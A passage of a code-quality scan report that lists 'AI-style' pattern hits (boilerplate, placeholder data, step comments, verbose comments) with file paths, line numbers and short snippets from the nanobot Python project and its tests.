LOWnanobot/providers/openai_compat_provider.py1025CODE
LOWnanobot/providers/openai_compat_provider.py1143CODE
LOWnanobot/providers/openai_compat_provider.py1285CODE
LOWnanobot/providers/openai_compat_provider.py1432CODE
LOWnanobot/providers/openai_compat_provider.py1517CODE
LOWnanobot/providers/openai_compat_provider.py1558CODE
LOWnanobot/providers/factory.py42CODE
LOWnanobot/providers/openai_codex_provider.py254CODE
LOWnanobot/providers/fallback_provider.py146CODE
LOWnanobot/providers/anthropic_provider.py90CODE
LOWnanobot/providers/anthropic_provider.py155CODE
LOWnanobot/providers/anthropic_provider.py259CODE
LOWnanobot/providers/anthropic_provider.py597CODE
LOWnanobot/providers/anthropic_provider.py706CODE
LOWnanobot/providers/base.py274CODE
LOWnanobot/providers/base.py451CODE
LOWnanobot/providers/base.py499CODE
LOWnanobot/providers/base.py568CODE
LOWnanobot/providers/base.py592CODE
LOWnanobot/providers/base.py861CODE
LOWnanobot/providers/openai_responses/parsing.py115CODE
LOWnanobot/providers/openai_responses/parsing.py269CODE
LOWnanobot/providers/openai_responses/parsing.py325CODE
LOWnanobot/providers/openai_responses/converters.py63CODE
LOWnanobot/utils/gitstore.py162CODE
LOWnanobot/utils/gitstore.py217CODE
LOWnanobot/utils/gitstore.py316CODE
LOWnanobot/utils/gitstore.py440CODE
LOWnanobot/utils/gitstore.py468CODE
LOWnanobot/utils/run_records.py37CODE
LOWnanobot/utils/file_edit_events.py255CODE
LOWnanobot/utils/document.py98CODE
LOWnanobot/utils/document.py230CODE
LOWnanobot/utils/document.py265CODE
LOWnanobot/utils/path.py10CODE
LOWnanobot/utils/helpers.py376CODE
LOWnanobot/utils/helpers.py569CODE
LOWnanobot/utils/helpers.py616CODE
LOWnanobot/agent/runner.py322CODE
LOWnanobot/agent/runner.py711CODE
LOWnanobot/agent/memory.py421CODE
LOWnanobot/agent/memory.py514CODE
LOWnanobot/agent/loop.py978CODE
LOWnanobot/agent/loop.py1076CODE
LOWnanobot/agent/loop.py1766CODE
LOWnanobot/agent/context_governance.py232CODE
LOWnanobot/agent/context_governance.py258CODE
LOWnanobot/agent/tools/image_generation.py164CODE
LOWnanobot/agent/tools/web.py400CODE
LOWnanobot/agent/tools/web.py450CODE
LOWnanobot/agent/tools/web.py1072CODE
124 more matches not shown…
Modern Structural Boilerplate47 hits · 44 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py41__all__ = [CODE
LOWnanobot/__init__.py64__all__ = [CODE
LOWnanobot/pairing/__init__.py22__all__ = [CODE
LOWnanobot/config/__init__.py18__all__ = [CODE
LOWnanobot/config/loader.py20def set_config_path(path: Path) -> None:CODE
LOWnanobot/triggers/__init__.py11__all__ = [CODE
LOWnanobot/providers/__init__.py10__all__ = [CODE
LOWnanobot/providers/openai_compat_provider.py523 def _setup_env(self, api_key: str, api_base: str | None) -> None:CODE
LOWnanobot/providers/openai_responses/__init__.py19__all__ = [CODE
LOWnanobot/bus/__init__.py6__all__ = ["MessageBus", "InboundMessage", "OutboundMessage"]CODE
LOWnanobot/utils/__init__.py12__all__ = ["ensure_dir", "abbreviate_path"]CODE
LOWnanobot/agent/subagent.py151 def set_provider(self, provider: LLMProvider, model: str) -> None:CODE
LOWnanobot/agent/memory.py487 def set_last_dream_cursor(self, cursor: int) -> None:CODE
LOWnanobot/agent/__init__.py17__all__ = [CODE
LOWnanobot/agent/loop.py1861 def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None:CODE
LOWnanobot/agent/tools/__init__.py17__all__ = [CODE
LOWnanobot/agent/tools/message.py92 def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None:CODE
LOWnanobot/agent/tools/context.py36 def set_context(self, ctx: RequestContext) -> None:CODE
LOWnanobot/agent/tools/mcp.py363 def _set_mcp_connection(self, session: Any, server_name: str) -> None:CODE
LOWnanobot/agent/tools/mcp.py368 def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None:CODE
LOWnanobot/agent/tools/loader.py160 def set_context(self, ctx: Any) -> None:CODE
LOWnanobot/agent/hooks/__init__.py8__all__ = [CODE
LOWnanobot/cli/onboard.py1547def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None:CODE
LOWnanobot/cli/commands.py43def _set_nanobot_logs(enabled: bool) -> None:CODE
LOWnanobot/webui/settings_api.py1338 def set_search_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/settings_api.py1344 def set_fetch_value(attr: str, value: object) -> None:CODE
LOWnanobot/webui/mcp_presets_runtime.py5__all__ = ["session_extra"]CODE
LOWnanobot/webui/version_check.py16logger = logging.getLogger(__name__)CODE
LOWnanobot/command/__init__.py6__all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"]CODE
LOWnanobot/apps/__init__.py5__all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"]CODE
LOWnanobot/apps/cli/__init__.py9__all__ = [CODE
LOWnanobot/gateway/__init__.py12__all__ = [CODE
LOWnanobot/cron/__init__.py5__all__ = ["CronService", "CronJob", "CronSchedule"]CODE
LOWnanobot/channels/matrix.py750 async def _set_typing(self, room_id: str, typing: bool) -> None:CODE
LOWnanobot/channels/__init__.py6__all__ = ["BaseChannel", "ChannelManager"]CODE
LOWnanobot/channels/slack.py621 async def _update_react_emoji(self, chat_id: str, ts: str | None) -> None:CODE
LOWnanobot/session/__init__.py5__all__ = ["SessionManager", "Session"]CODE
LOWtests/agent/test_context_aware.py10 def set_context(self, ctx: RequestContext) -> None:CODE
LOWtests/cli/test_commands.py2537 def set_last_dream_cursor(self, _cursor: int) -> None:CODE
LOWtests/command/test_builtin_dream.py45 def set_last_dream_cursor(self, value: int) -> None:CODE
LOWtests/channels/test_mattermost_channel.py42 def set_get_response(self, path: str, data: Any) -> None:CODE
LOWtests/channels/test_mattermost_channel.py45 def set_post_response(self, path: str, data: Any) -> None:CODE
LOWtests/channels/test_mattermost_channel.py48 def set_put_response(self, path: str, data: Any) -> None:CODE
LOWtests/channels/test_mattermost_channel.py51 def set_delete_status(self, status: int) -> None:CODE
LOWtests/channels/test_telegram_channel.py67 async def set_my_commands(self, commands) -> None:CODE
LOWtests/channels/test_channel_plugins.py782 def _set_logs(enabled: bool) -> None:CODE
LOWtests/channels/test_channel_plugins.py814 def _set_logs(enabled: bool) -> None:CODE
Fake / Example Data31 hits · 34 pts
SeverityFileLineSnippetContext
LOWnanobot/webui/mcp_presets_api.py565 "placeholder": field.placeholder,CODE
LOWtests/tools/test_message_tool_suppress.py56 arguments={"content": "Email content", "channel": "email", "chat_id": "user@example.com"},CODE
LOWtests/providers/test_openai_codex_provider.py25 def fake_token(**_kwargs):CODE
LOWtests/providers/test_openai_codex_provider.py30 fake_token,CODE
LOWtests/providers/test_openai_codex_provider.py502 def fake_token(**_kwargs):CODE
LOWtests/providers/test_openai_codex_provider.py507 fake_token,CODE
LOWtests/providers/test_openai_codex_provider.py250 def fake_token(*, proxy=None):CODE
LOWtests/providers/test_openai_codex_provider.py268 monkeypatch.setattr("nanobot.providers.openai_codex_provider.get_codex_token", fake_token)CODE
LOWtests/channels/test_wecom_channel.py134 fake_data = b"\x89PNG\r\nfake image"CODE
LOWtests/channels/test_wecom_channel.py135 client.download_file.return_value = (fake_data, "raw_photo.png")CODE
LOWwebui/src/components/MessageBubble.tsx448 key={`${img.url ?? "placeholder"}-${i}`}CODE
LOWwebui/src/i18n/locales/vi/common.json15 "placeholder": "Mật khẩu",CODE
LOWwebui/src/i18n/locales/vi/common.json902 "placeholder": "Mô tả hoặc chỉnh sửa ảnh…",CODE
LOWwebui/src/i18n/locales/ja/common.json15 "placeholder": "パスワード",CODE
LOWwebui/src/i18n/locales/ja/common.json902 "placeholder": "画像を説明または編集…",CODE
LOWwebui/src/i18n/locales/zh-CN/common.json15 "placeholder": "密码",CODE
LOWwebui/src/i18n/locales/zh-CN/common.json915 "placeholder": "描述或编辑图片…",CODE
LOWwebui/src/i18n/locales/zh-TW/common.json15 "placeholder": "密碼",CODE
LOWwebui/src/i18n/locales/zh-TW/common.json902 "placeholder": "描述或編輯圖片…",CODE
LOWwebui/src/i18n/locales/pt-BR/common.json15 "placeholder": "Senha",CODE
LOWwebui/src/i18n/locales/pt-BR/common.json916 "placeholder": "Descreva ou edite uma imagem…",CODE
LOWwebui/src/i18n/locales/ko/common.json15 "placeholder": "비밀번호",CODE
LOWwebui/src/i18n/locales/ko/common.json902 "placeholder": "이미지를 설명하거나 편집하세요…",CODE
LOWwebui/src/i18n/locales/id/common.json15 "placeholder": "Kata sandi",CODE
LOWwebui/src/i18n/locales/id/common.json902 "placeholder": "Deskripsikan atau edit gambar…",CODE
LOWwebui/src/i18n/locales/fr/common.json15 "placeholder": "Mot de passe",CODE
LOWwebui/src/i18n/locales/fr/common.json902 "placeholder": "Décrire ou modifier une image…",CODE
LOWwebui/src/i18n/locales/es/common.json15 "placeholder": "Contraseña",CODE
LOWwebui/src/i18n/locales/es/common.json903 "placeholder": "Describe o edita una imagen…",CODE
LOWwebui/src/i18n/locales/en/common.json15 "placeholder": "Password",CODE
LOWwebui/src/i18n/locales/en/common.json916 "placeholder": "Describe or edit an image…",CODE
Self-Referential Comments8 hits · 32 pts
SeverityFileLineSnippetContext
MEDIUMtests/test_api_attachment.py256 # Create a file larger than 10MBCOMMENT
MEDIUMtests/test_document_parsing.py340 # Create a minimal PNG file (1x1 pixel)COMMENT
MEDIUMtests/agent/test_unified_session.py443 # Create a message from telegram channelCOMMENT
MEDIUMtests/agent/test_unified_session.py471 # Create a long-running task stored under UNIFIED_SESSION_KEYCOMMENT
MEDIUMtests/agent/test_unified_session.py478 # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatchCOMMENT
MEDIUMtests/agent/test_onboard_logic.py202 # Create a mock field_info with None annotationCOMMENT
MEDIUMtests/channels/test_channel_plugins.py2469 # Create a real cancelled taskCOMMENT
MEDIUMtests/channels/test_email_channel.py1518 # Create a real temp file to attachCOMMENT
Structural Annotation Overuse21 hits · 31 pts
SeverityFileLineSnippetContext
LOWnanobot/skills/update-setup/SKILL.md10## Step 1: Check ExistingCOMMENT
LOWnanobot/skills/update-setup/SKILL.md16## Step 2: Current Version and Install CluesCOMMENT
LOWnanobot/skills/update-setup/SKILL.md33## Step 3: Confirm Required InputsCOMMENT
LOWnanobot/skills/update-setup/SKILL.md75## Step 4: Generate SkillCOMMENT
LOWnanobot/skills/update-setup/SKILL.md121## Step 5: ConfirmCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md222### Step 1: Understanding the Skill with Concrete ExamplesCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md239### Step 2: Planning the Reusable Skill ContentsCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md263### Step 3: Initializing the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md296### Step 4: Edit the SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md337### Step 5: Packaging a SkillCOMMENT
LOWnanobot/skills/skill-creator/SKILL.md365### Step 6: IterateCOMMENT
LOWnanobot/channels/dingtalk.py780 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk.py795 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/weixin.py1419 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin.py1443 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin.py1471 # Step 3: Send message with the media itemCOMMENT
LOWnanobot/channels/wecom.py439 # Step 1: initCOMMENT
LOWnanobot/channels/wecom.py456 # Step 2: send chunksCOMMENT
LOWnanobot/channels/wecom.py468 # Step 3: finishCOMMENT
LOWtests/test_context_documents.py84 # Step 1: extract_documents separates docs from imagesCOMMENT
LOWtests/test_context_documents.py87 # Step 2: _build_user_content handles only images (none left here)COMMENT
AI Structural Patterns38 hits · 30 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py126CODE
LOWnanobot/nanobot.py180CODE
LOWnanobot/nanobot.py264CODE
LOWnanobot/providers/bedrock_provider.py691CODE
LOWnanobot/providers/openai_compat_provider.py409CODE
LOWnanobot/providers/openai_compat_provider.py1558CODE
LOWnanobot/providers/github_copilot_provider.py259CODE
LOWnanobot/providers/azure_openai_provider.py216CODE
LOWnanobot/providers/openai_codex_provider.py133CODE
LOWnanobot/providers/anthropic_provider.py706CODE
LOWnanobot/providers/base.py622CODE
LOWnanobot/providers/base.py666CODE
LOWnanobot/providers/base.py725CODE
LOWnanobot/agent/subagent.py84CODE
LOWnanobot/agent/subagent.py216CODE
LOWnanobot/agent/context.py169CODE
LOWnanobot/agent/loop.py249CODE
LOWnanobot/agent/loop.py760CODE
LOWnanobot/agent/loop.py1358CODE
LOWnanobot/agent/loop.py1962CODE
LOWnanobot/agent/tools/exec_session.py466CODE
LOWnanobot/agent/tools/cron.py131CODE
LOWnanobot/agent/tools/filesystem.py43CODE
LOWnanobot/agent/tools/shell.py193CODE
LOWnanobot/agent/tools/shell.py287CODE
LOWnanobot/agent/tools/search.py207CODE
LOWnanobot/agent/tools/search.py409CODE
LOWnanobot/cli/gateway.py250CODE
LOWnanobot/cron/service.py664CODE
LOWnanobot/channels/matrix.py477CODE
LOWnanobot/channels/manager.py85CODE
LOWtests/agent/conftest.py35CODE
LOWtests/channels/test_signal_channel.py84CODE
LOWtests/channels/test_signal_channel.py665CODE
LOWtests/channels/test_discord_channel.py175CODE
LOWtests/channels/test_websocket_http_routes.py67CODE
LOWtests/channels/test_websocket_http_routes.py101CODE
LOWtests/channels/test_feishu_reply.py51CODE
Magic Placeholder Names4 hits · 20 pts
SeverityFileLineSnippetContext
HIGHREADME.md212 "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md938 "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md966> "apiKey": "your-api-key",CODE
HIGHdocs/configuration.md995 "apiKey": "your-api-key",CODE
Verbosity Indicators10 hits · 14 pts
SeverityFileLineSnippetContext
LOWnanobot/channels/dingtalk.py780 # Step 1: Exchange downloadCode for a temporary download URLCOMMENT
LOWnanobot/channels/dingtalk.py795 # Step 2: Download the file contentCOMMENT
LOWnanobot/channels/weixin.py1419 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)COMMENT
LOWnanobot/channels/weixin.py1443 # Step 2: AES-128-ECB encrypt and POST to CDNCOMMENT
LOWnanobot/channels/weixin.py1471 # Step 3: Send message with the media itemCOMMENT
LOWnanobot/channels/wecom.py439 # Step 1: initCOMMENT
LOWnanobot/channels/wecom.py456 # Step 2: send chunksCOMMENT
LOWnanobot/channels/wecom.py468 # Step 3: finishCOMMENT
LOWtests/test_context_documents.py84 # Step 1: extract_documents separates docs from imagesCOMMENT
LOWtests/test_context_documents.py87 # Step 2: _build_user_content handles only images (none left here)COMMENT
Redundant / Tautological Comments7 hits · 12 pts
SeverityFileLineSnippetContext
LOWnanobot/agent/tools/filesystem.py191 # Check if resolved path starts with /dev/ (covers symlinks to devices)COMMENT
LOWnanobot/agent/tools/filesystem.py345 # Read the file content after dedup checkCOMMENT
LOWnanobot/cli/onboard.py1018 # Check if context_window_tokens field existsCOMMENT
LOWnanobot/cli/onboard.py1024 # Check if current value is the defaultCOMMENT
LOWnanobot/skills/skill-creator/scripts/init_skill.py271 # Check if directory already existsCOMMENT
LOWnanobot/channels/manager.py760 # Check if this message belongs to the same streamCOMMENT
LOWnanobot/channels/wecom.py419 # Read file size and data in a thread to avoid blocking the event loopCOMMENT
Modern AI Meta-Vocabulary3 hits · 9 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/providers/openai_compat_provider.py1184 # under the reasoning trace.COMMENT
MEDIUMdocs/my-tool.md48# Note: prompt_tokens is cumulative across all turns, not current context window occupancy.COMMENT
MEDIUMdocs/my-tool.md93# → Expand context window for long documentsCOMMENT
AI Slop Vocabulary3 hits · 7 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/channels/dingtalk.py61 # Parse using SDK's ChatbotMessage for robust handlingCOMMENT
MEDIUMnanobot/channels/signal.py688 # Keep aliases of the bot account for robust mention matching.COMMENT
LOWnanobot/channels/weixin.py697 # If quoted message is media, just pass the textCOMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHnanobot/skills/skill-creator/scripts/init_skill.py256 Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill pSTRING
Over-Commented Block3 hits · 2 pts
SeverityFileLineSnippetContext
LOWnanobot/providers/registry.py81 # Provider supports cache_control on content blocks (e.g. Anthropic prompt caching)COMMENT
LOWnanobot/providers/registry.py101COMMENT
LOWnanobot/providers/openai_compat_provider.py461 timeout=timeout_s,COMMENT
Dead Code1 hit · 2 pts
SeverityFileLineSnippetContext
MEDIUMtests/tools/test_mcp_tool.py704CODE